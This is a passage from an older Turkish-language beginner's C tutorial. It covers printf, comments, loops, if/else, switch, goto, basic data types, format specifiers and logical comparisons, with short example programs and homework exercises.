C, cok kestirme olmasi nedeni ile, yeni bilgisayarlara baslayanlar icin
ogrenmesi zordur. Bir programci, C ile ust seviyelerden, assebly'ye
yaklasan alt seviyelere kadar programlama yapabilir. C nin sagladigi bu
rahatligin yaninda, tehlikeleride de vardir. Ornegin, makineyi
kilitleyebilecek bir program yazmak, Pascal yada BASIC de yazmaktan cok
daha kolaydir. Bir Pascal derleyicisinin fark edip uyaracagi bir hatayi, C
derleyicileri fark etmeyebilir. C de, kendi basinizasiniz..



NIYE C?

Bu gun IBM-PC icin yazilan piyasadaki yeni programlarin yuzde 75'i, C ile
yaziliyor. MicroSoft, Macro Assembler 4.0 i cikardiktan sonra, onu C ile
yazdiklarini acikladi. Herhalde icinde birkac assembler rutin vardir ama,
cogunlugu C ile yazilmistir.

C, bir komite degilde, bir kisi tarafindan yazilmis oldugundan, cok
kullanisli bir lisandir, fakat cok iyi tanimlanmamistir. C icin bir
standart yoktur, ama ANSI grubu, bu konuda calismaktadir. Isin ilgincligi,
bir standart olmamasina ragmen, degisiklikleri cok azdir. Halbuki iyi
tanimi olan Pascal dilinin, derleyicileri birbirinden cok farklidir, ve
bir Pascal programini bir bilgisayardan digerine gecirmek zordur..

C nin Tasinabilirlik referanslari iyi olmasina ragmen, derleyiciler
arasinda farkliliklar vardir. Bu degisiklikler genellikle BIOS
fonksiyonlari gibi standart olmayan seyler kullanildiginda kendini
gosterir.


TANIMLAYICI ISIMLERI

Fonksiyon ve degisken isimleri, harfler ve rakkamlardan olusabilir. Ilk
harf ya bir harf yada alt-cizgi karakteri olmak zorundadir. geri kalanlar
ise, harf, rakkam yada alt cizgi olabilir. Iki nokta onemlidir:

(1) Buyuk ve kucuk harfler farklidir. Bir programda "ISIM", "iSiM" ve
"isim", degisik tanimlayicilardir.

(2) C'de, en fazla sekiz karakter onemlidir. Bir tanimlayici 8 karakterden
uzun olabilir, fakat ilk sekizi sayilir. Bu derleyiciniz icin boyle
olmayabilir.

DERLEYICI

Bu derste bircok ornek program sunacagim. Bunlari istediginiz herhangi bir
derleyici ile derleyebilirsiniz, fakat kullanim kolayligi bakimindan
QuickC derleyicisini tercih etmenizi tavsiye ederim.

C Dili - 2. Konu

ILK C PROGRAMINIZ

En basit C programi:

main()
{
}

Bu bir programdir, ve bunu kisaltmanin, basitlestirmenin bir yolu yoktur.
Isin kotu tarafi, bu program birsey yapmaz. Buradaki en onemli kelime,
main() sozcugudur. Her programda olmasi gereken bu sozcuk, daha sonra
gorecegimiz gibi, ilk satirda olmak zorunda degildir, fakat bir giris
noktasi saglamasi nedeni ile gereklidir. Bunu takiben, iki tane parantez
vardir. Bunlar da, main'in bir fonksiyon oldugunu belirtir. (Bir
fonksiyonun tam olarak nelerden olustugunu daha sonra gorecegiz)
Programin kendisi ise, iki kume isareti arasinda yer alir.

BIRSEYLER YAPAN BIR PROGRAM:

Daha ilginc bir program:

main()
{
printf("Bu bir satirlik yazidir.");
}

Bu programin, ayni diger program gibi, main, ve kume isaretleri vardir.
Icinde yer alan fonksiyonun, bir satiri ekrana getirmesi icin, satiri " "
isaretleri arasina aliyoruz. Ayrica fonksiyonun parametresi oldugunu
belirtmek icin de, cevresine parantez koyuyoruz.

Satirin sonundaki noktali virgule dikkatinizi cekerim: Bir satirin
bittigini derleyiciye bildirmek icin, C dilinde ; noktali virgul
kullanilir.

DAHA COK SEY YAZAN BIR PROGRAM

main()
{
printf("Bu bir satirlik yazidir.\n");
printf("Bu bir baska ");
printf(" satirdir.\n");
printf("Bu ucuncu satirdir.\n");
}


Bu programda, 4 tane islenecek komut vardir. Satirlar bu sirada islenir.
Ilk satirin sonundaki tuhaf ters bolu isareti, ondan sonra gelecek
karakterin bir kontrol karakteri oldugunu belirtiyor. Bu durumda n harfi,
yeni bir satir istegini belirtir. Yani, cursor, ekranin sol basina, ve bir
satir asagiya kayar. Katarin herhangi bir yerinde yeni bir satir isteyince,
"\n" komutunu verebilirsiniz. Hatta bir kelimenin ortasina bile koyup,
kelimeyi iki satira bolebilirsiniz.

Ilk komut, metini ekrana yazar, ve bir satir asagi iner. Ikinci komut,
yazdiktan sonra, yeni satir yapmadan, ucuncu komutun icindekileri ekrana
yazar. Bu komutun sonunda, yeni satira gecilir. Dorduncu komut ise, ucuncu
satiri yazar, ve bir return karakteri sunar.


RAKAMLAR YAZALIM

main()
{
int index;

index = 13;
printf("Indexin degeri simdi %d\n",index);
index = 27;
printf("Indexin degeri simdi %d\n",index);
index = 10;
printf("Indexin degeri simdi %d\n",index);
}

Bu programda ise, ilk defa olarak bir degisken kullaniyoruz. main() ve {
isaretlerine artik alismis olmalisiniz. Bunun altinda "int index" diye bir
satir yer aliyor. Bu satir, "index" isimli bir tamsayi degiskenini
tanimliyor. Cogu mikrobilgisayarlar icin, 'int' tipi bir degiskenin
alabilecegi degerler, -32768 ila 32767 dir. 'index' ismi ise,
TANIMLAYICILAR da bahsettigimiz kurallara uyan herhangi birsey olabilir.
Bu satirin sonunda da, satirin bittigini belirten ; noktali virgul yer
alir.

Bir satirda birden fazla tam sayi tanimlanabilir, fakat henuz biz bununla
ortaligi karistirmayacagiz.

Programi incelerken, uc tane atama satiri oldugunu, ve bu satirlarin
altinda da degerlerin yazildigini goruyoruz. Once 13 atanir, ve ekrana
yazilir, sonra 27 ve 10.

RAKAMLARI NASIL YAZARIZ

Sozumuze sadik kalmak icin, tekrar printf komutuna donelim, ve nasil
calistigini gorelim. Gordugunuz gibi, butun satirlar, birbiri ile ayni, ve
diger orneklerden farki, icindeki % isareti. Bu harf, printf'e ekrana
yazmayi durdurup, ozel birsey yapmasini soyler. % isaretinden sonra gelen
harf, d, bir tamsayi yazilacagini belirtir. Bundan sonra, yeni satira
geciren tanidik \n isaretini goruyoruz.

Den-denler arasinda kalan butun harfler, printf komutu ile ekrana
cikacaklari tanimlar. Bundan sonraki virgul ve "index" sozcugu yer alir.
printf komutu buradan degiskenin degerlerini okur. Daha fazla %d ekleyerek
,ve bunlari yine virgul ile birbirine ekleyerek, birden fazla degiskenin
de bu komut ile goruntulenmesini saglayabiliriz. Hatirlamaniz gereken
onemli bir nokta, saha tanimlayici %d ile gecirdiginiz degisken miktari,
ayni kalmalidir, yoksa bir runtime hatasi verir.

BILGI SATIRLARI NASIL EKLENIR

/* Bu satiri, derleyici kullanmaz */

main() /* Bir satir daha */
{
printf("Bilgi satirlarinin nasil eklenecegini ");
/* Bilgi satirlari,
bir satirdan uzun olabilir.
*/
printf("goruyoruz.\n");
}

/* Ve programin sonu... */



Programa aciklik katmak icin, eklenebilecek bilgiler, derleyici tarafindan
uzerinden atlanir. Lutfen yukaridaki programi, iyi bir ornek olarak
almayin. Son derece daginik bir sekilde katilmis bilgi satirlari, sadece
kullanimini gostermek amaci iledir. Bilgi satirlari, /* isaretleri ile
baslar, ve */ isareti ile sona erir.

Dikkat etmeniz gereken bir nokta, birkac satirdan olusan bilgi
satirlarinda bulunan program komutlarinin, isleme konmayacagidir.

Bilgi satirlari, programin nasil calistigini gostermesi bakimindan cok
onemlidir. Yazdiginiz bir programin, bir baskasi tarafindan okunabilmesi,
yada siz nasil calistigini unuttuktan sonra hatirlayabilmeniz icin, mumkun
oldugu kadar cok bilgi satiri eklemekte fayda vardir.

Bazi derleyiciler ic ice bilgi satirlarini kabul ederler, fakat genelde,
ic ice bilgi satirlari kabul edilmez.

IYI SAYFA DIZIMI

Yazdiginiz bir program, kolay anlasilir olmalidir. Bunun icin, duzgun bir
sekilde programlamak cok onemlidir. C derleyicileri, komutlar arasindaki
bosluklari goz onune almaz, ve bu nedenle de programlariniza aciklik
katmak icin, dilediginiz gibi bosluk ve bos satir birakabilirsiniz.

Su iki programi karsilastiralim:

main() /* Program buradan basliyor */
{
printf("iyi yazis,");
printf ("programin anlasilmasini kolaylastirir\n");
}

ve:

main() /* Program buradan basliyor */ {printf("iyi yazis,"); printf
("programin anlasilmasini kolaylastirir\n");}


Odev:

1. Ekrana kendi isminizi yazacak bir program yazin.
2. Programa ayri satirlarda, iki "printf" satiri daha ekleyerek,
adresinizi ve telefon numaranizi da yazdirin.



C Dili - 3. Konu

'WHILE' DONGUSU

C dilinde, bircok tip dongu vardir. While dongusu, herhangi bir test,
dogru kaldigi surece, bir program parcasini tekrarlar. Bu testin sonucu
yalnis cikarsa, while dongusu sona erer, ve program normal akisina devam
eder.

main() /* while dongusunun bir ornegi */
{
int count;

count = 0;
while (count<6)
{
printf("count'un degeri: %d oldu. ",count);
count = count + 1;
}
}

Bu programda, count isimli bir degiskeni tanimliyoruz, ve sifira
esitliyoruz. while dongusunun kullanimi, gorundugu gibi, 'while' sozcugu,
ve parantez icinde bir test'den olusur. Parantezlerin icindeki deyim
dogru kaldigi surece, bu program tekrarlar. Bu programda, degiskenin
degeri teker teker arttirildigindan, eninde sonunda degeri altiya
varacaktir, ve bu durumda program donguden cikacaktir.

Parantezlerin icinde yer alan deyimleri, bundan sonraki konuda
isleyecegiz. O zamana kadar, bunlarin dusundugunuz seyleri yaptigini kabul
ediniz.

Birkac onemli nokta:

1. Sayet 'count' un baslangic degeri 5 den buyuk birseye atanmis olsa
idi, dongunun icindekiler hic yapilmayacakti.
2. Eger 'count = count + 1' komutu ile degerini bir arttirmasa idik, bu
program hic durmazdi.
3. Son olarak, eger dongude tek bir komut varsa, kume isaretlerine gerek
yoktur.


DO-WHILE DONGUSU

Buna benzeyen bir baska komut ise, 'do-while' komutudur. Su program, daha
once gordugumuz programa cok benzer:

main() /* Do-While dongusu ornegi */
{
int i;

i=0;
do
{
printf("I nin degeri simdi: %d oldu.\n",i);
i = i + 1;
} while (i<5);
}

Yegane farkin, dongunun bir 'do' komutu ile yapilmasi ve denkligin
kontrolunun sona birakilmasidir. Bu durumda, parantezlerin arasinda deyim
dogru kaldigi surece, dongu tekrarlanir.

Burada onemli noktalar: Kontrol, dongunun sonunda yapildigindan, kume
isaretlerinin arasindaki deyimler daima en az bir kere islenir. Ayrica
yine, sayet i nin degeri degismez ise, program donguden cikmaz. Son
olarak, sayet dongunun icinde bir tek komut varsa, kume isaretlerine gerek
yoktur.

Ayrica, dilediginiz miktarda donguyu ic ice de koymaniz mumkundur.

FOR DONGUSU

For dongusu, yeni birsey degildir. Sadece, 'while' dongusunun bir baska
seklidir:

main() /* Bir for dongusu */
{
int index;

for(index=0;index<6;index = index + 1)
printf("index'in degeri simdi %d oldu.\n",index);
}

'For' dongusu, uc parcadan olusmustur. Her kesim birbirinden ; ile
ayrilir. Ilk kesimi, baslangic kesimi (initalization) dir. Burada bulunan
islemler, dongu baslamadan once, ve bir kere yapilir. Aslinda buraya
yazilacak seyler icin bir sinir yoktur, fakat basit tutmakta fayda vardir.
Bu kesime birden fazla islem yazilabilir, bunlari da birbirinden ','
virgul ile ayirmak gerekir.

Ikinci kesimde, "index<6" diyen parcada, bu dongunun her turunda kontrol
edilmesi gereken deyim yer alir. Bu deyim dogru oldugu surece, dongu devam
eder. Dogru yada yalnis sonuc veren herhangi bir deyim, bu kesimde yer
alabilir.

Ucuncu kesimde yer alan islemler ise, yine dongunun her turunda yapilir,
fakat isleme baslamasi, dongunun icinde yer alan komutlarin islenmesinden
sonra yapilir.

'For' komutundan sonra, ya tek bir komut gelir, yada kume isaretleri
icinde, bir komut bloku.. C de hemen heryerde, tek bir komut yerine, bir
komut bloku koymaniz mumkundur.


IF KOMUTU

/* Bu, if-else komutunun bir ornegidir */

main()
{
int data;

for (data=0;data<10;data = data + 1)
{
if (data==2)
printf("Data simdi %d ye esit.\n",data);

if (data<5)
printf("Data simdi %d. Bu da, 5 den azdir. \n",data);
else
printf("Data simdi %d. Bu da, 4 den buyuktur.\n",data);
}
}

Bu programda, ilk once, icinde iki tane if komutu olan bir for dongusu
gorunuyor. Bu dongunun on kere tekrarlanacagi, acik bir sekilde goruluyor.

Ilk if satirina bakin: "if" kelimesi ile basliyor, ve sonra bir parantez
icinde, sarti goruluyor. Sayet bu parantezin icindeki islemin sonucu dogru
(evet) ise, if'den hemen sonra gelen satir islenir. Sayet cevap yalnis
ise, if'den sonra gelen komut, atlanir. Burada da, tek bir komut, kume
isaretleri ile, bir komut bloku haline getirilebilir.

Burada data==2 islemi, data degiskeninin degerinin ikiye esit olup
olmadigini kontrol eder. (Sayet data = 2 olsa idi, tumuyle ayri birsey
gerceklesirdi.)

IF-ELSE

Ikinci "if", yine birincisine benziyor. Fakat, ek olarak "else" isimli bir
kesimi de iceriyor. Bu da, sayet parantezlerin icindeki islem dogru (EVET)
sonuc verirse, "if" den sonra gelen satir islenecektir, sayet yalnis
(HAYIR) sonucu verirse, "else" den sonra gelen komut islenecektir. Bu
nedenle, iki satirdan biri muhakkak islenecektir.

BREAK ve CONTINUE

main()
{
int xx;

for (xx=5;xx<15; xx=xx+1)
{
if (xx==8)
break;
printf("Break dongusunun icinde, xx in degeri simdi %d\n",xx);
}

for (xx=5;xx<15;xx=xx+1)
{
if (xx==8)
continue;
printf("Continue dongusunun icinde, xx in degeri simdi %d\n",xx);
}
}


Bu programda gordugunuz gibi, sayet xx in degeri 8 e esit ise, break
isimli komutu cagiran bir if komutu goruyorsunuz. Break komutu, bizi
donguden cikarip, programi dongunun hemen altindaki satirdan devam
etmesini saglar.

Bu komut, ornegin dongunun icinde hesaplanan bir degere gore, donguden
cikmak istediginizde cok ise yarar. Ornekte, xx in degeri sekize ulasinca,
program donguden cikar, ve ekrana yazilmis en son deger, yedi olur.

Programin ikinci parcasindaki dongude ise, Continue komutunu goruyoruz.
Burada ise, deger 8 e ulasinca, program donguden cikmaz, fakat program
dongunun en son satirina atlayip, aradaki printf satirini islemez.

SWITCH

main()
{
int kamyon;

for (kamyon = 3;kamyon<13;kamyon = kamyon + 1)
{
switch (kamyon)
{
case 3: printf("Degeri simdi uc.\n");
break;
case 4: printf("Degeri simdi dort.\n");
break;
case 5:
case 6:
case 7:
case 8: printf("Degeri simdi 5 le 8 arasinda.\n");
break;
case 11:printf("Degeri simdi onbir.\n");
break;
default:printf("Tanimsiz degerlerden biri.\n");
break;
}
}
}

Simdiye kadar gordugumuz en buyuk komut olan "switch", aslinda kullanimi
kolaydir. Ilk once, "switch" kelimesi ile baslar. Bunun arkasindan,
parantez icinde bir deyim gelir. Bundan sonra, dilediginiz kadar 'case'
komutlari, kume isaretleri arasinda yer alir. Her degeri sembolize eden
'case' satirlari, degiskenin degeri, iki nokta ust uste, ve bununla ilgili
komutlardan olusur.

Bizim ornegimizde, "kamyon" degiskeninin degeri 3 oldugunda, printf
satiri, 'Degeri simdi uc' satirinin ekrana yazilmasini, saglar. Daha sonra
yer alan 'break' komutu ise, switch in icinde yer alan diger komutlari
islenmeden, switch den cikilmasini saglar.

Bir giris noktasi bulunduktan sonra, satirlar bir 'break' komutuna
rastlayincaya kadar, yada switch'in son kume isaretine varincaya
kadar komutlar siradan islenir.

"Kamyon" un degeri 5 e esit ise, program, case 5,6,7 den gecerek 8'de
bulunan printf ve break komutlarini isler. Break komutu da, programi son
kume isaretine getirir. Sayet degiskenin bir degerine karsilik gelen bir
case yoksa, 'default:' isimli secenek secilir.

GOTO KOMUTU

main()
{
goto leave
printf("Bu satir hic yazilmayacak.\n");
leave:
}


Goto komutunu kullanmak icin, "goto" isminin yanina, atlamak istediginiz
yerin sembolik ismini yazmaniz yeterlidir. "goto" ile bir dongunun icine
atlamaniza izin yoktur, fakat bir dongunun disina atlayabilirsiniz. Ayrica
bir fonksiyondan otekine de "goto" ile gecemezsiniz.

Bazi kimseler, goto nun hicbir yerde kullanilmamasi gerektigini
belirtiyorlar. Sayet, goto kullanimi ile, diger metodlara gore daha anlasilir
bir program olusacaksa, goto yu kullanmaktan cekinmeyin.

SONUNDA - ISE YARAYAN BIR PROGRAM

main() /* Santigrad'dan Fahrenheite */
{
int count; /* for degiskeni */
int fahr; /* fahrenheit degerini tutar */
int cen; /* Santigrat degerini tutar */

printf("Santigrad -> Fahrenheit karsilik tablosu\n\n");

for (count=-2;count<=12;count=count+1)
{
cen = 10 * count;
fahr = 32 + (cen * 9) / 5;
printf(" C = %4d F = %4d ",cen,fahr);
if (cen == 0)
printf(" Suyun donma noktasi");
if (cen == 100)
printf(" Suyun kaynama noktasi");
printf("\n");
}
}

Bu program, santigrad ve fahrenheit derecelerin tablosunu yaratmaktadir.
Birden fazla degisken kullanilan ilk programimizdir bu. Degisken
taniminda, uc ayri satir kullanilmasi sayesinde, degiskenlerin yanina ne
ise yaradiklarini da yazabiliriz.

Odev:

1. Isminizi ekrana 10 kere yazan bir program yaziniz. Bu programi 3 kere
yaziniz. Her seferinde ayri bir dongu metodu kullanarak..
2. Birden ona kadar sayan ve bu degerleri her satira bir tane olmak uzere
ekranda gosteren bir program yazin. Bu deger 3 e ve 7 ye esit olunca,
dilediginiz bir mesaji yazsin.


C dili - 4. Konu

TAM SAYI ATAMA

TAMSAYI.C:
================================================================
main()
{
int a,b,c;

a = 12;
b = 3;

c = a+b;
c = a-b;
c = a*b;
c = a/b;
c = a%b;

c = 12*a+b/2-a*b*2/(a*c+b*2);

a = a + 1; /* arttirma islemleri */
b = b * 5;

a = b = c = 20; /* Coklu atamalar */
a = b = c = 12*13/4;
}
================================================================

Bu programda uc tam sayi degiskeni tanimliyoruz (a,b,c), ve bunlara
degerler atiyoruz. Ilk iki satirda a ve b ye sayisal degerler veriyoruz.
Daha sonraki dort satirda, basit islemler goruyorsunuz.

Besinci satirda ise, modulo operatorunu goruyorsunuz. Modulo, iki degisken
birbirine bolundugunde, kalan degeri verir. Modulo, sadece integer ve char
degisken tipleri ile kullanilabilir.

Daha sonra gelen iki arttirma islemleri ise, bu sekilde derleyici
tarafindan kabul edilir, fakat bunlari yazmanin daha kestirme bir sekli
vardir - bunu daha sonra gorecegiz.

Son iki satira gelince, bunlar cok tuhaf gorunebilir goze. C derleyicisi,
atama satirlarini, sagdan sola dogru okur. Bunun sayesinde, coklu atamalar
gibi, cok faydali islemler yapilabilir. Bu ornekte, derleyici, yirmiyi
alip, c ye atiyor. Sola dogru devam ederken, b yi gorup, en son elde
edilen sonucu (20) b ye atiyor. Ayni sekilde a ya da, b nin degeri
veriliyor.

Bu programi derleyip, calistirmak son derece SIKICI olabilir. Bu programin
hicbir ciktisi yoktur. Dilerseniz, ogrendiginiz printf fonksiyonu ile,
programin yaptiklarini daha yakindan inceleyebilirsiniz.

C de veri tanimlari, program bloku icinde, islenecek komutlardan once
gelir. Sayet tanimlari programin ortasina yerlestirmeye calisirsaniz,
derleyici bir hata verecektir.

VERI TIPLERI

main()
{
int a,b,c; /* -32767 den 32767 ye - tamsayi olarak */
char x,y,z; /* 0 dan 255 e - tamsayi olarak */
float num,toy,thing; /* 10e-38 den 10e+38 e - ondalikli olarak */

a = b = c = -27;
x = y = z = 'A';
num = toy = thing = 3.6792;

a = y; /* a nin degeri simdi 65 (karakter A) */
x = b; /* x simdi tuhaf bir sayi olacak */
num = b; /* num simdi -27.00 olacak */
a = toy /* a simdi 3 olacak */
}

Gordugunuz gibi, birkac integer daha tanimladik. Fakat, bundan baska, iki
yeni tip daha kattik. "Char" ve "float".

"Char" tipi, nerdeyse integer ile ayni manada. Fakat, sadece 0 ila 255
arasindaki sayilari alabilir, ve genellikle hafizada bir bytelik bir yerde
saklanir. Bu tip veri, genellikle kelime katarlari saklamak icin
kullanilir.

DATA TIPLERININ KARISTIRILMASI

Bu anda, C nin "int" ve "char" i nasil kullandigini gormenin tam zamani. C
deki "int" tipi ile calisan cogu fonksiyonlar, karakter tip veri ile de
ayni sekilde calisabilir, cunku karakter tipi, bir cins integer'dir.
"char" ve "int" tiplerini neredeyse istediginiz gibi karistirmak
mumkundur. Derleyicinin akli karismaz, ama sizin karisabilir. Bunun icin
dogru tip veriyi kullanmakta fayda vardir.

FLOAT

Ikinci yeni tip veri, "float" tipidir. Kayar nokta da denilen bu tipin
sinirlari cok genistir. Cogu bilgisayarlarda, float tipi 10e-38 den 10e+38
e kadardir.

YENI VERI TIPLERINI NASIL KULLANALIM

Bu programin ilk uc satirinda, dokuz tane degiskene deger ataniyor.

* Daha once gordugumuz gibi, "char" tipi, aslinda bir "integer" tipi
oldugundan, bir "char" in "int" e cevrilmesinde hicbir sorun yoktur.
* Fakat, bir integer'i "char" a cevirmek icin, bir standart yoktur. Bu
nedenle, sayet tamsayi degiskeninin degeri, "char" sahasindan buyukse,
cikan sonuc cok sasirtici olabilir.
* Ucuncu satirda ise, bir tamsayiyi, "float" a atiyoruz. Bu durumda,
derleyici, bu ceviriyi bizim icin yapar.
* Fakat tersini yapmak ise, biraz daha karisiktir. Derleyici sayet varsa,
degiskenin ondalik degerini ne yapacagina karar vermek zorundadir.
Genellikle de, ondalik kesimi gozardi eder.

Bu programin da hicbir ciktisi yok. Hem zaten karakter ve float tiplerinin
nasil ekrana yazilabilecegini gormedik.. Bundan sonraki programa kadar
sabir..

COKVERI.C:
================================================================

main()
{
int a; /* basit tamsayi tipi */
long int b; /* uzun tamsayi tipi */
short int c; /* kisa tamsayi tipi */
unsigned int d; /* isaretsiz (+ - siz) tamsayi */
char e; /* karakter tipi */
float f; /* kayar nokta tipi */
double g; /* cift hassasiyet kayar nokta */

a = 1023;
b = 2222;
c = 123;
d = 1234;
e = 'X';
f = 3.14159;
g = 3.1415926535898;

printf("a = %d\n",a); /* desimal */
printf("a = %o\n",a); /* oktal */
printf("a = %x\n",a); /* heksadesimal */
printf("b = %ld\n",b); /* uzun desimal */
printf("c = %d\n",c); /* kisa desimal */
printf("d = %u\n",d); /* isaretsiz */
printf("e = %c\n",e); /* karakter */
printf("f = %f\n",f); /* kayar nokta */
printf("g = %f\n",g); /* cift hassasiyet k.n */
printf("\n");
printf("a = %d\n",a); /* basit 'int' cikti */
printf("a = %7d\n",a); /* 7 uzunlukta bir saha kullan*/
printf("a = %-7d\n",a); /* sola dayali 7 lik saha */
printf("\n");
printf("f = %f\n",f); /* basit kayan nokta */
printf("f = %12f\n",f); /* 12 lik bir saha kullan*/
printf("f = %12.3f\n",f); /* noktadan sonra 3 hane */
printf("f = %12.5f\n",f); /* noktadan sonra 5 hane */
printf("f = %-12.5f\n",f); /* sola yapisik 12 hane */
}

================================================================

Bu program, C dilinde bulunan butun standart basit veri tiplerini
kapsiyor. Baska tiplerde var, fakat bunlar basit tiplerin bir araya
gelmesi ile olusurlar. Bunlardan daha sonra bahsedecegiz.

Programi inceleyin. Ilk once basit 'int', sonra 'long int' ve 'short int'
gorunuyor. 'unsigned' tipi, yine integer kadar bir sahada saklanir, fakat
arti yada eksi isareti tasimadigindan, genellikle siniri 0 - 65535 dir.
(Sayet long, short, yada unsigned deyimi kullanilmissa, sonuna 'int'
yazilmasi gereksizdir.)

Daha once char ve float u gormustuk. Bunlar disinda kalan 'double' tipi,
'float' a nazaran daha buyuk bir sahada saklanir, ve daha hassas sonuclar
verebilir.

Cogu derleyicilerin matematik fonksiyonlari, float tipini kullanmaz,
double tipini kullanir. Bu nedenle verdiginiz float degeri, size
transparan olarak double'a cevirir.

PRINTF'IN CEVIRIM KARAKTERLERI

Printf fonksiyonunda kullanilan karakterler sunlardir:

d desimal
o oktal
x heksadesimal
u unsigned (isaretsiz)
c karakter
s string (karakter katari)
f float (kayar nokta)

Bu harfler, bir yuzde isaretinden sonra kullanirlar. Bu iki harf arasina
sunlar ilave edilebilir:

- sahasinin icinde sola dayanmis
(n) minimum saha uzunlugunu belirler
. n ile m yi birbirinden ayirir
(m) float tipi icin noktadan sonraki hane sayisi
l 'long' tipi oldugunu belirtmek icin

Bu programi derleyip sonuclarini inceleyin. Dilediginiz gibi degistirerek,
sonuclari inceleyin.

MANTIKSAL KARSILASTIRMALAR

KARSILAS.C:
================================================================


main() /* Bir suru karsilastirma */
{
int x = 11,y = 11,z = 11;
char a = 40,b = 40,c = 40;
float r = 12.987,s = 12.987,t = 12.987;

/* Birinci grup */

if (x == y) z = -13; /* z = -13 olacak */
if (x > z) a = 'A'; /* a = 65 olacak */
if (!(x > z)) a = 'B'; /* bu hicbir sey yapmayacak */
if (b <= c) r = 0.0; /* r = 0.0 olacak */
if (r != s) t = c/2; /* t = 20 olacak */

/* Ikinci grup */

if (x = (r != s)) z = 1000; /* x pozitif olacak, ve
z = 1000 olacak */
if (x = y) z = 222; /* bu, x = y, and z = 222 yapar */
if (x != 0) z = 333; /* z = 333 olacak */
if (x) z = 444; /* z = 444 olacak */

/* Ucuncu grup */

x = y = z = 77;
if ((x == y) && (x == 77)) z = 33; /* z = 33 olur */
if ((x > y) || (z > 12)) z = 22; /* z = 22 olacak */
if (x && y && z) z = 11; /* z = 11 olur */
if ((x = 1) && (y = 2) && (z = 3)) r = 12.00; /* Bu ise,
x = 1, y = 2, z = 3, r = 12.00 yapar */
if ((x == 2) && (y = 3) && (z = 4)) r = 14.56; /* Birsey degistiremez */


/* Dorducu grup */

if (x == x); z = 27.345; /* z daima deger degistirir */
if (x != x) z = 27.345; /* Hicbirsey degismez */
if (x = 0) z = 27.345; /* x = 0 olur, z degismez */

}

================================================================

Karsilas.C isimli programa lutfen bakin. Ilk basinda dokuz tane
degisken hazirliyoruz. Daha once yapmadigimiz sekilde, bunlari hem
tanimlayip, hem ilk degerlerini veriyoruz.

Gordugunuz gibi if ile komutlar arasinda bir satir birakmamiz gerekmiyor.
Programin daha okunabilir olmasi icin arada satir birakmak sart degildir.

Birinci gruptaki karsilastirmalar, iki degiskeni karsilastirdiklari icin,
en basit olanlari. Ilk satirda, x in y ye esit olup olmadigina bakiyoruz.
Burada iki esit isareti yerine (==) tek esit de kullanilabilirdi, fakat
manasi degisirdi.

Ucuncu satirda, NOT isaretini goruyorsunuz. Bu unlem isareti, herhangi bir
karsilastirmanin sonucunu degistirmek icin kullanilabilir.

DAHA ZOR KARSILASTIRMALAR


Ikinci grupta yer alan karsilastirmalar daha zor. Ilk once parantezler
arasinda tuhaf bir ifade yer aliyor.. Bunu anlamak icin C dilindeki
'EVET' ve 'HAYIR' kavramlarini bilmemiz gerekiyor. C de 'HAYIR', 0
degerindedir. 'EVET' ise, sifirdan degisik herhangi birseydir. Bir
EVET/HAYIR testinin sonucu herhangi bir integer yada karakter
degiskenine atanabilir.

Ilk ornege bakin: r!=s deyimi, r nin degeri 0.0 a atandigindan, 'EVET'
bir sonuc verecektir. Bu sonuc, sifirdan degisik bir rakam, ve herhalde 1
olacaktir. Olusan bu sonuc, x degiskenine atanir. Sayet x den sonra iki
esit isareti olsa idi (x == (r!=s) gibi) bu durumda bu 1 degeri, x ile
karsilastirilirdi. Fakat tek bir isaret oldugundan, r ile s yi
karsilastirmanin sonucu, x e atanir. Ayrica bu atama isleminin sonucu da
sifirdan degisik oldugundan, z de 1000 e esitlenir.

Ikinci ornekte ise, x degiskeni, y nin degerini alir, cunku arada tek esit
isareti vardir. Ayrica sonuc 11 oldugundan, z de 222 ye esitlenir.

Ikinci grubun ucuncusunde, x i sifira karsilastiriyoruz. Sayet sonuc
'EVET' ise, yani x sifir degilse, z ye 333 degerini atiyoruz. Bu grubun
en son orneginde ise, sayet x in degeri sifir degil ise, z ye 444
atiyoruz. Yani ucuncu ve dorduncu ornekler, birbirine esdirler.

Ucuncu gruptaki karsilastirmalar, yeni deyimler sunuyor. Yani 'AND' ve
'OR' deyimleri. Ilk once 3 degiskene de 77 degerini atiyoruz ki, islemlere
bilinen degerlerle basliyabilelim. Buradaki ilk ornekte, yeni kontrol
isaretimiz '&&' i goruyoruz. Bu satirin okunusu ise:
'Sayet x, y ye esit ise, vede x, 77 ye esit ise, z nin degerini 33 yap.'
Yani, AND operandi icin, iki taraftaki islemlerin EVET (TRUE) sonuc
vermesi gereklidir.

Bundan sonraki ornek ise, '||' (OR) isaretini gosteriyor. Bu satir ise,
'Sayet x, y den buyuk ise, YADA z, 12 den buyuk ise, z nin degerini 22 yap.'
z nin degeri 12 den buyuk oldugu icin, x in y den buyuk olup olmamasi
onemli degildir. Cunku OR operandi icin ikisinden birinin EVET olmasi
yeterlidir.

Bircok kisimdan olusan bir mantiksal karsilastirma yaparken, karsilastirma
soldan saga dogru yapilir, ve sonuc garantilendiginde, bu satirin
islenmesi durur. Mesela, bir AND karsilastirmasinda, sayet AND in sol
tarafindaki islem HAYIR (FALSE) sonuc verirse, sag tarafindaki islem
yapilmaz. Yada, bir OR isleminde, sol tarafindaki islem EVET (TRUE) sonuc
verirse, islemin OR dan sonrasina bakilmaz.

OPERANDLARIN ISLEM SIRASI

Hangi operand ilk once islenir? Bu konuda bircok kural vardir, ve
derleyicinin kitabini bunlari uzun uzun anlatir. Fakat, benim tavsiyem,
bunlarla ugrasmak yerine, once islenmesini istediginiz kisimin cevresine
parantez koymanizdir.

Ucuncu gruptaki orneklere devam ederek, dorduncu ornekte, uc tane basit
degiskenin birbiri ile AND edildigini goruyoruz. Ucunun de degerleri
sifirdan degisik oldugundan, sonuc EVET oluyor, ve z nin degeri 11 e
esitlenir.

Bundan sonraki ornekte ise, uc tane atama islemi gorunuyor. Sayet daha
onceki ornekleri anladiysaniz, bu 'if' komutunun dort tane degeri
degistirdigini gorebilirsiniz.

BIR HILE

Ucuncu grubun en son orneginde ise, bir hile var. Ilk once, (x==2) nin
HAYIR la sonuc verdigini goruyoruz. Ve daha once gordugumuz gibi, C dili,
sonuctan emin oluncaya kadar if komutunu isler. Yani, hepsi AND oldugu
icin, vede ilk ifade HAYIR (FALSE) oldugu icin, islemi o noktada keser,
ve y,z ve r nin degerleri degismez.

Dorduncu gruptaki orneklerin hicbiri calismaz. Bu grup, basinizi derde
sokabilecek komutlardir. ilk ornekte, x == x komutu daima dogrudur, fakat
hemen arkasindan gelen noktali virgul yuzunden, bundan sonra gelen
z=27.345 komutu ayri bir komut olarak her zaman islenir.

